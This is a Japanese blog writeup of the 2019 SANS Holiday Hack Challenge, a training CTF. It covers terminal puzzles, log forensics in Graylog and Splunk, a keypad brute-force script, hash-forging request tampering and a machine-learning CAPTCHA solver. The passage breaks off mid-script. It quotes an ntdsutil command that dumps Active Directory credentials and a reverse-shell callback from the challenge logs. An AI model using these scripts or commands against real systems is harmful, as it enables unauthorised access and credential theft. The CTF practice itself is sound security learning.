こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

The 2019 SANS Holiday Hack Challenge Writeup

あけましておめでとうございます。

今年もSANS社がHoliday Hack Challengeを開催しており、参加&全完しましたのでwriteupを書きます。
holidayhackchallenge.com

昨年のwriteup記事はこちらです。
graneed.hatenablog.com

概要

エルフ大学を歩きながら、ペンテスト、フォレンジックマルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。 メインの問題数は全12問、メインの問題のヒントがもらえるサブのTerminal問題が全10問ある。

以下、開始直後の鉄道を降りたところのスクリーンショット
右側にある緑色の端末みたいなアイコンがTerminal問題。これを解くと隣にいるエルフからヒントをもらえる。

f:id:graneed:20200102013711p:plain

Terminal問題

最初はTerminal問題から。マップ上のアイコンをクリックするとターミナルが立ち上がる。(一部例外あり

Escape Ed

edを終了すればクリア。qコマンドで終了。

f:id:graneed:20191229125313p:plain

Linux Path

lsコマンドを実行すればクリアだが、pathが通っていない。/bin/lsで直接実行する。

f:id:graneed:20191229185156p:plain

Mongo Pilfer

ローカルで起動しているMongoDBに接続したいが、デフォルトのポート番号ではない。

ps -eaxを実行するとポート番号を12121に指定していることがわかる。

f:id:graneed:20200112125247p:plain

DBを適当に漁ると、指定されたコマンドを実行しろと指示を発見するので、実行するとクリア。

f:id:graneed:20191229194533p:plain

f:id:graneed:20191229194608p:plain

Nyanshell

alabaster_snowballにsuしてBash起動できればクリアだが、デフォルトシェルが/bin/nshになっている。 /bin/nshのwrite権限はあるものの、上書きができない。

sudo -lを実行すると/usr/bin/chattrがroot権限で実行できることがわかる。 ファイル属性にi属性が設定されていることが上書きできない原因のようなので、-iオプションで外してから、/bin/nsh/bin/bashで上書きする。

f:id:graneed:20191230000732p:plain

Smart Braces

指定された要件を満たすような、iptablesの設定を実行すればクリア。要件は以下のとおり。

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on por
t 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

対応する設定を行うコマンドは以下のとおり。

sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

sudo iptables -A INPUT -s 172.19.0.225 -p tcp --dport 22 -j ACCEPT

sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

sudo iptables -A INPUT -i lo -j ACCEPT

f:id:graneed:20191229225536p:plain

Xmas Cheer Laser

端末内の情報を集めてレーザーの出力を上げるためのパラメータ情報を集める問題。PowerShell環境。

集めたパラメータ情報はAPIで設定する。API仕様は以下のとおり。

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.0 200 OK                                                                                             
Server: Werkzeug/0.16.0                                                                                     
Server: Python/3.6.9                                                                                        
Date: Sun, 29 Dec 2019 18:48:30 GMT                                                                         
Content-Type: text/html; charset=utf-8
Content-Length: 860
<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>

パラメータは全部で4種類。

1. angle

historyを実行すると発見。angleは65.5。次のヒントも発見する。

PS /home/elf> history | Out-String -Width 4096
  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process 
   2 Get-Help -Name Get-* 
   3 Set-ExecutionPolicy Unrestricted 
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 
   5 Get-Service | Export-CSV c:\service.csv 
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 
   7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
   8 Get-EventLog -Log "Application" 
   9 I have many name=value variables that I share to applications system wide. At a command I will reveal m
y secrets once you Get my Child Items.
  10 (Invoke-WebRequest -Uri http://localhost:1225/).RawContent

2. refraction

I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.のヒントから、Get-ChildItem環境変数を確認する。

PS /home/elf> Get-ChildItem env: | Out-String -Width 4096
Name                           Value
----                           -----
_                              /bin/su
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME                           /home/elf
HOSTNAME                       8f719061667c
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                        elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
:/sbin:/bin:/usr/games:/usr/local/games
PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache
PSModulePath                   /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules
:/opt/microsoft/powershell/6/Modules
PWD                            /home/elf
RESOURCE_ID                    4a012a47-0153-4c5b-8b25-15bd2cf73044
riddle                         Squeezed and compressed I am hidden away. Expand me from my prison and I will
 show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
userdomain                     laserterminal
USERDOMAIN                     laserterminal
USERNAME                       elf
username                       elf

ヒントどおりに/etc配下の最終更新時間が新しいファイルを確認する。

PS /etc> Get-ChildItem -Recurse | Sort-Object LastWriteTime
(snip)
    Directory: /etc/apt
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          12/29/19  6:02 PM        5662902 archive

展開する。

PS /home/elf> Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp
PS /home/elf> cd /tmp
PS /tmp> dir
    Directory: /tmp                                                                                         
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---          12/13/19  5:15 PM                5t4srxl3
d-r---          12/13/19  5:15 PM                ar0h5fvb
d-r---          12/13/19  5:15 PM                isersp3d
d-r---          12/13/19  5:15 PM                jj0ulyca
d-r---          12/13/19  5:15 PM                jyy10y3s
d-r---          12/13/19  5:15 PM                mmwmacs2
d-----          12/29/19  6:19 PM                refraction
d-r---          12/13/19  5:15 PM                w45zpn1s
d-r---          12/13/19  5:15 PM                wpvxws2m
d-r---          12/13/19  5:15 PM                zulm3qkm
------          12/29/19  6:19 PM              0 clr-debug-pipe-31-76974049-in
------          12/29/19  6:19 PM              0 clr-debug-pipe-31-76974049-out
------          12/29/19  6:19 PM              0 CoreFxPipe_PSHost.D5BE7487.31.None.elf

PS /tmp> cd refraction

PS /tmp/refraction> dir
    Directory: /tmp/refraction
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf

実行ファイルらしきファイルがあるので実行すると、refractionが1.867だとわかる。

PS /tmp/refraction> chmod 777 ./runme.elf
PS /tmp/refraction> ./runme.elf
refraction?val=1.867

次のヒントも発見した。

PS /tmp/refraction> type riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:
25520151A320B5B0D21561F92C8F6224

3. temperature

/home/elf/depths配下に大量のファイルがあり、その中からmd5が一致するファイルを発見するのが想定解のようだが、キーワード(val=)で検索して強引に発見した。 temperatureは-33.5

PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-String "val="
produce/thhy5hll.txt:1:temperature?val=-33.5

次のヒントも発見した。

PS /home/elf/depths> type produce/thhy5hll.txt
temperature?val=-33.5
I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will gi
ve you the most strength but doing so will require Piping all the FullName's to Sort Length.

4. gas

/home/elf/depths配下から、最もファイルパスが長いファイルを見つける。

PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-Object fullname | sort { $_.fullname.length } | 
Select-Object -last 1 | Out-String -Width 4096
FullName
--------
/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt

PS /home/elf/depths> type /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/esca
pe/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/
play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eag
er/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
Get process information to include Username identification. Stop Process to show me you're skilled and in th
is order they must be killed:
bushy
alabaster
minty
holly
Do this for me and then you /shall/see .

指定されたユーザが起動しているプロセスを停止すればよい。

PS /home/elf/depths> Get-Process -IncludeUserName
     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
     28.98     1.58       6 root                           CheerLaserServi
    155.99    41.78      31 elf                            elf
      3.50     0.03       1 root                           init
      0.73     0.00      24 bushy                          sleep
      0.72     0.00      26 alabaster                      sleep
      0.80     0.00      28 minty                          sleep
      0.81     0.00      29 holly                          sleep
      3.46     0.00      30 root                           su
PS /home/elf/depths> kill -9 24
PS /home/elf/depths> kill -9 26
PS /home/elf/depths> kill -9 28
PS /home/elf/depths> kill -9 29
PS /home/elf/depths> type /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the 
Properties of the lonely unique event Id.

/etc配下にある拡張子がxmlのイベントログを集計すればよいとのことだが、面倒なのでこれもキーワード(Xe=)を類推して探して発見した。 gasはO=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9

PS /etc> Get-ChildItem -Recurse -Force -Include *.xml 
Get-ChildItem : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ Get-ChildItem -Recurse -Force -Include *.xml
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessExc
eption
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
 
    Directory: /etc/systemd/system/timers.target.wants
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml


PS /etc> type /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String "Xe=" 
              <S N="Value">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
"`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    
F=20`n    Kr=8`n    Rn=9`n}`n"</S>
      <S N="Message">Process Create:_x000D__x000A_RuleName: _x000D__x000A_UtcTime: 2019-11-07 
17:59:56.525_x000D__x000A_ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}_x000D__x000A_ProcessId: 
3664_x000D__x000A_Image: 
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_x000D__x000A_FileVersion: 10.0.14393.206 
(rs1_release.160915-0644)_x000D__x000A_Description: Windows PowerShell_x000D__x000A_Product: Microsoft® 
Windows® Operating System_x000D__x000A_Company: Microsoft Corporation_x000D__x000A_OriginalFileName: 
PowerShell.EXE_x000D__x000A_CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
"`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    
F=20`n    Kr=8`n    Rn=9`n}`n"_x000D__x000A_CurrentDirectory: C:\_x000D__x000A_User: 
ELFURESEARCH\allservices_x000D__x000A_LogonGuid: 
{BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}_x000D__x000A_LogonId: 0xA95CF5_x000D__x000A_TerminalSessionId: 
0_x000D__x000A_IntegrityLevel: High_x000D__x000A_Hashes: 
MD5=097CE5761C89434367598B34FE32893B_x000D__x000A_ParentProcessGuid: 
{BA5C6BBB-4C79-5DC4-0000-001029350100}_x000D__x000A_ParentProcessId: 1008_x000D__x000A_ParentImage: 
C:\Windows\System32\svchost.exe_x000D__x000A_ParentCommandLine: C:\Windows\system32\svchost.exe -k 
netsvcs</S>

集めたパラメータをAPIを呼び出して設定するとクリア。

(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/refraction?val=1.867).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/temperature?val=-33.5).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/angle?val=65.5).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method Post -Body 'O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9').RawContent 
(Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent

f:id:graneed:20191230035430p:plain

Frosty Keypad!

Terminalが起動される問題ではないが、ここで紹介。

キーパッドで正しい数値を入力する問題。

数値が素数になること、1つのボタンだけ2回使用しそれ以外は1回だけ使用すること、キーパッドの形跡がヒントになること、の情報が与えられている。

1と3と7に押下された形跡がある。

f:id:graneed:20191230102018p:plain

Burp Suiteまたはブラウザの開発者ツールで確認すると、呼び出し先のAPIがわかるので、条件を満たすボタンの組合せで総当たりするプログラムを作って実行する。

import itertools
import requests

def is_prime(q):
    q = abs(q)
    if q == 2: return True
    if q < 2 or q&1 == 0: return False
    return pow(2, q-1, q) == 1

for i in [1,3,7]:
    for v in itertools.permutations([1,3,7,i]):
        s = "".join(map(str,v))
        if is_prime(int(s)):
            url = "https://keypad.elfu.org/checkpass.php?i=%s&resourceId=4aa66b1c-05e2-49ad-bfd9-8a3e4332022a" % s
            r = requests.get(url)
            if r.json()["success"] == True:
                print(s, r.text)
                exit

いまいちなロジックなので2回出てしまうが、7331が正しいコードであることがわかる。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019# python3 brute.py
7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid  Code!"}
7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid  Code!"}

Graylog

Graylogというログ分析ツールを使用して、ログからインシデント調査する問題。

Q1.

Mintyで検索。

f:id:graneed:20191230122740p:plain

answer: C:\Users\minty\Downloads\cookie_recipe.exe

Q2.

ProcessId:5256で検索。

f:id:graneed:20191230122912p:plain

answer: 192.168.247.175:4444

Q3.

ParentProcessId:5256で検索。

f:id:graneed:20191230122346p:plain

answer: whoami

Q4.

Q3と同じ検索結果から。

answer: webexservice

Q5.

ParentProcessImage:C\:\\Users\\minty\\Downloads\\cookie_recipe2.exeで検索。

f:id:graneed:20191230124312p:plain

answer: C:\cookie.exe

Q6.

account nameで検索。

answer: alabaster

Q7.

AccountName:alabaster AND LogonType:10で検索。

f:id:graneed:20191230125905p:plain

answer: 06:04:28

Q8.

timestamp:["2019-11-19 06:04:28.000" TO "2019-11-21 23:59:59.000"] AND SourceHostName:ELFU-RES-WKS2で検索。

f:id:graneed:20191230150100p:plain

Answer: elfu-res-wks2,elfu-res-wks3,3

Q9.

pastebin.comで検索。

f:id:graneed:20191230150420p:plain

answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

Q10.

Q9と同じ検索結果から。

f:id:graneed:20191230150711p:plain

answer: 104.22.3.84

f:id:graneed:20191230150620p:plain

#7830984301576234

Holiday Hack Trail

難易度がEASY、MEDIUM、HARDの3段階あるゲーム。チートをして、Hardをクリアする。

通信を観察すると、EASYはGETでパラメータ送信、MEDIUMはPOSTでパラメータ送信、HARDはPOSTでパラメータ送信且つhashで改ざん確認をしていることがわかる。パラメータを改ざんするとhashが変わる。

ゲーム開始時のパラメータのhashの値であるbc573864331a9e42e4511de6f678aa83で検索すると、1626md5であることがわかる。どうやら特定のパラメータの合計値をmd5計算しているだけのようだ。 距離を8000稼げばクリアなので、スタート地点を0から7999にする。

1626+7999=9625のmd5a330f9fecc388ce67f87b09855480ca3である。 Burp Suiteで通信をインターセプトして、distanceを7999、hashをa330f9fecc388ce67f87b09855480ca3で上書きする。

f:id:graneed:20191230161832p:plain

チェックをバイパスしてゲームを開始できて、即クリア。

f:id:graneed:20191230162827p:plain

Zeek JSON Analysis

JSONファイルを解析して、durationが最も大きいログのIPアドレスを確認する。

elf@c6c39e513269:~$ cat ./conn.log | jq '.duration' | sort -g | tail -1
1019365.337758

elf@c6c39e513269:~$ grep 1019365.337758 ./conn.log 
{"ts":"2019-04-18T21:27:45.402479Z","uid":"CmYAZn10sInxVD5WWd","id.orig_h":"192.168.52.132","id.orig_p":8,"i
d.resp_h":"13.107.21.200","id.resp_p":0,"proto":"icmp","duration":1019365.337758,"orig_bytes":30781920,"resp
_bytes":30382240,"conn_state":"OTH","missed_bytes":0,"orig_pkts":961935,"orig_ip_bytes":57716100,"resp_pkts"
:949445,"resp_ip_bytes":56966700}

elf@c6c39e513269:~$ runtoanswer 
Loading, please wait......
What is the destination IP address with the longes connection duration? 13.107.21.200
Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.
-Wunorse Openslae
Congratulations!

ここまでがterminal問題。次からメインの問題。


1) Find the Turtle Doves

マップを探索して鳩を発見するだけ。

f:id:graneed:20191229204400p:plain

2) Unredact Threatening Document

マップを探索するとPDFが落ちている。

f:id:graneed:20191229184640p:plain

マスクされているが選択してコピーすれば抜き出せる。

f:id:graneed:20191229184731p:plain

Date: February 28, 2019
To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved Character
Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR
ELSE!
Attention All Elf University Personnel,
It remains a constant source of frustration that Elf University and the entire operation at the
North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE
you to consider lending your considerable resources and expertise in providing merriment,
cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical
characters.
For centuries, we have expressed our frustration at your lack of willingness to spread your
cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.
If you do not accede to our demands, we will be forced to take matters into our own hands.
We do not make this threat lightly. You have less than six months to act demonstrably.
Sincerely,
--A Concerned and Aggrieved Character

answer: DEMAND

3) Windows Log Analysis: Evaluate Attack Outcome

イベントログから不正ログインが成功したアカウントを調査する。デフォルトのイベントビューアーで開いて、大量のログイン失敗直後にログイン成功しているアカウント名を入力すると正解だった。特にひっかけ要素もなかった。

f:id:graneed:20191230015114p:plain

answer: supatree

4) Windows Log Analysis: Determine Attacker Technique

Sysmonのログから、lsass.exeのプロセスから実行されている攻撃者が使用しているツールを探す問題。

lsass.exeでログを検索すると、前後のログからlsass.exe -> cmd.exe -> ntdsutil.exeの順序で子プロセスを起動していることがわかる。

    {
        "command_line": "C:\\Windows\\system32\\cmd.exe",
        "event_type": "process",
        "logon_id": 999,
        "parent_process_name": "lsass.exe",
        "parent_process_path": "C:\\Windows\\System32\\lsass.exe",
        "pid": 3440,
        "ppid": 632,
        "process_name": "cmd.exe",
        "process_path": "C:\\Windows\\System32\\cmd.exe",
        "subtype": "create",
        "timestamp": 132186398356220000,
        "unique_pid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
        "unique_ppid": "{7431d376-cd7f-5dd3-0000-001013920000}",
        "user": "NT AUTHORITY\\SYSTEM",
        "user_domain": "NT AUTHORITY",
        "user_name": "SYSTEM"
    },
    {
        "command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",
        "event_type": "process",
        "logon_id": 999,
        "parent_process_name": "cmd.exe",
        "parent_process_path": "C:\\Windows\\System32\\cmd.exe",
        "pid": 3556,
        "ppid": 3440,
        "process_name": "ntdsutil.exe",
        "process_path": "C:\\Windows\\System32\\ntdsutil.exe",
        "subtype": "create",
        "timestamp": 132186398470300000,
        "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}",
        "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
        "user": "NT AUTHORITY\\SYSTEM",
        "user_domain": "NT AUTHORITY",
        "user_name": "SYSTEM"
    }

answer: ntdsutil

5) Network Log Analysis: Determine Compromised System

Beacons画面の先頭のSourceのIPアドレスが答え。

f:id:graneed:20191230040521p:plain

answer: 192.168.134.130

6) Splunk

Splunkを使用して、インシデント調査を進めていく問題。

インシデントレスポンスチームのリーダーみたいなキャラクターからチャット形式でヒントをもらえるので、指示通りに検索していけばクリア。

1. What is the short host name of Professor Banas' computer?

チャットにそのまま答えがある。

f:id:graneed:20191230043248p:plain

answer: sweetums

2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

index=main santaで検索。

f:id:graneed:20191230043209p:plain

answer: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt

3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell EventCode=3で検索。

f:id:graneed:20191230043904p:plain

answer: 144.202.46.214.vultr.com

4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverseで検索し、先頭レコードの時間の前後5秒間で絞り込んだ上で、index=mainで検索。

f:id:graneed:20191230051058p:plain

プロセスIDが62685864の2件に絞られる。イベントログのプロセスIDは16進数であるため、6268から16進数の0x187Cに変換してイベントログから検索する。 index=main sourcetype=WinEventLog New_Process_ID=0x187Cで検索。

f:id:graneed:20191230083710p:plain

answer: 19th Century Holiday Cheer Assignment.docm

5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

index=main sourcetype=stoq results{}.workers.smtp.subject="Holiday Cheer Assignment submission"
| table results{}.workers.smtp.from
| dedup results{}.workers.smtp.from
| stats count

で検索。

f:id:graneed:20191230090038p:plain

answer: 21

6. What was the password for the zip archive that contained the suspicious file?

index=main sourcetype=stoq results{}.payload_meta.extra_data.filename="Buttercups_HOL404_assignment.zip"
| table results{}.workers.smtp.from results{}.workers.smtp.body

で検索。

f:id:graneed:20191230091354p:plain

answer: 123456789

7. What email address did the suspicious file come from?

6のサーチ結果から。

answer: bradly.buttercups@eifu.org

What was the message for Kent that the adversary embedded in this attack?

index=main sourcetype=stoq  "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>"
| eval results = spath(_raw, "results{}") 
| mvexpand results
| eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename 
| search fullpath!="" 
| table filename,fullpath

で検索。

f:id:graneed:20191230093413p:plain

docmファイルの実体はzipファイルであるため、中身が展開されてサーバに置かれている。 ドキュメントのプロパティはcore.xmlに書かれているので確認する。

f:id:graneed:20191230093514p:plain

f:id:graneed:20191230093623p:plain

answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

7) Get Access To The Steam Tunnels

ある部屋に入ると、krampusというキャラクターが逃げていく。逃げた先には鍵がかかっている。 krampusのキャラクター画像の腰元に鍵があり、その画像から鍵を作成する。

開発者ツールで観察するとkrampusの画像は以下のURLであることがわかる。
https://2019.kringlecon.com/images/avatars/elves/krampus.png

f:id:graneed:20191230163449p:plain

近くに鍵を作成するツールがある。krampusの画像の鍵の凸凹の深さに合わせて数値を調整する。

f:id:graneed:20191230164116p:plain

122520で一致した。

f:id:graneed:20191230164129p:plain

鍵を解除した先で、Krampusのフルネームがわかる。

answer: Krampus Hollyfeld

8) Bypassing the Frido Sleigh CAPTEHA

100個の画像を使用したCAPTCHA認証を5秒以内に突破する問題。人間ではクリアできない時間と量であるため機械学習を使用する。 幸いにも、教師データが12000ファイルくらい与えられている。

Terminal問題をクリアして得られたヒント動画で公開されていた、以下のgithubリポジトリを活用する。
GitHub - chrisjd20/img_rec_tf_ml_demo: Image Recognition Using TensorFlow Machine Learning Demo to recognize Apples from Bananas

モデルの作成は、上記のリポジトリのretrain.pyをそのまま使用できる。

CAPTCHA画像を取得、機械学習による解析および解答を行うプログラムは以下のとおり。

#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld
import requests
import json
import sys
import base64

import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
tf.logging.set_verbosity(tf.logging.ERROR)
import numpy as np
import threading
import queue
import time

def load_labels(label_file):
    label = []
    proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def predict_image(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation):
    image_bytes = base64.b64decode(img["base64"].encode("UTF-8"))
    image = read_tensor_from_image_bytes(image_bytes)
    results = sess.run(output_operation.outputs[0], {
        input_operation.outputs[0]: image
    })
    results = np.squeeze(results)
    prediction = results.argsort()[-5:][::-1][0]
    if labels[prediction].title() in challenge_image_types:
        print(img["uuid"], labels[prediction].title())
        q.put(img)

    return labels[prediction].title()

def load_graph(model_file):
    graph = tf.Graph()
    graph_def = tf.GraphDef()
    with open(model_file, "rb") as f:
        graph_def.ParseFromString(f.read())
    with graph.as_default():
        tf.import_graph_def(graph_def)
    return graph

def read_tensor_from_image_bytes(imagebytes, input_height=299, input_width=299, input_mean=0, input_std=255):
    image_reader = tf.image.decode_png( imagebytes, channels=3, name="png_reader")
    float_caster = tf.cast(image_reader, tf.float32)
    dims_expander = tf.expand_dims(float_caster, 0)
    resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])
    normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])
    sess = tf.compat.v1.Session()
    result = sess.run(normalized)
    return result

def main():
    yourREALemailAddress = "pmkenpks@sharklasers.com"

    '''
    MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE
    '''
    # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
    graph = load_graph('./retrain_tmp/output_graph.pb')
    labels = load_labels("./retrain_tmp/output_labels.txt")

    # Load up our session
    input_operation = graph.get_operation_by_name("import/Placeholder")
    output_operation = graph.get_operation_by_name("import/final_result")
    sess = tf.compat.v1.Session(graph=graph)

    dummy_img = {'base64': 'iVBORw0KGgoAAAANSUhEUgAAAHQAAAB0CAYAAABUmhYnAAABfWlDQ1BpY2MAACiRfZE9SMNQFIVPU6VSKg5mEHHI0DpZEC3iKFUsgoXSVmjVweSlf9CkJUlxcRRcCw7+LFYdXJx1dXAVBMEfEBdXJ0UXKfG+pNAixguP93HePYf37gOEVpVpZt8koOmWkU7EpVx+VQq8IggfREQQk5lZT2YWs/Csr3vqpbqL8izvvj9rUC2YDPBJxHOsbljEG8Qzm1ad8z6xyMqySnxOPGHQBYkfua64/Ma55LDAM0Ujm54nFomlUg8rPczKhkYcIw6rmk75Qs5llfMWZ63aYJ178heGCvpKhuu0xpDAEpJIQYKCBiqowkKUdp0UE2k6j3v4Rx1/ilwKuSpg5FhADRpkxw/+B79naxanp9ykUBzof7HtjwgQ2AXaTdv+Prbt9gngfwau9K6/1gJmP0lvdrXwETC0DVxcdzVlD7jcAUae6rIhO5KfllAsAu9n9E15YPgWCK65c+uc4/QByNKslm+Ag0NgvETZ6x7vHuid2789nfn9ALMxcsFmHtEMAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAAGYktHRAAAAAAAAPlDu38AAAAJb0ZGc/////7////+AChGt5kAAAAJcEhZcwAALiMAAC4jAXilP3YAAAAHdElNRQfjCgIIDwFCMW5HAAAWWXpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAGiBrZpnduM4FoX/YxWzBGTgLQfxnNnBLH++S8mu2Km6rO6STVEk8MINAN3533+v+w8/pYXocmm9Wq2en2zZ4uCX7l8/r/fg8/Pv81O6j++j3xx3nx9EDiXe0+uDel7vYXC8fPlCy+/j89vjrq3XL7G/L/T+4H15n3Rn/b7fg3xfKMXX8fD+29n7C6N+NZ33/3G9L/u++Pd/50YwduF6Kbp4Ukj++Te+7pQYRbI0dJx/+SvqSOX3lPpzpP4YP/cex8edvgng52/fxc9/jCx9CcfrQh/Tqt/F6X08lO+Of1xQUfp6RCF+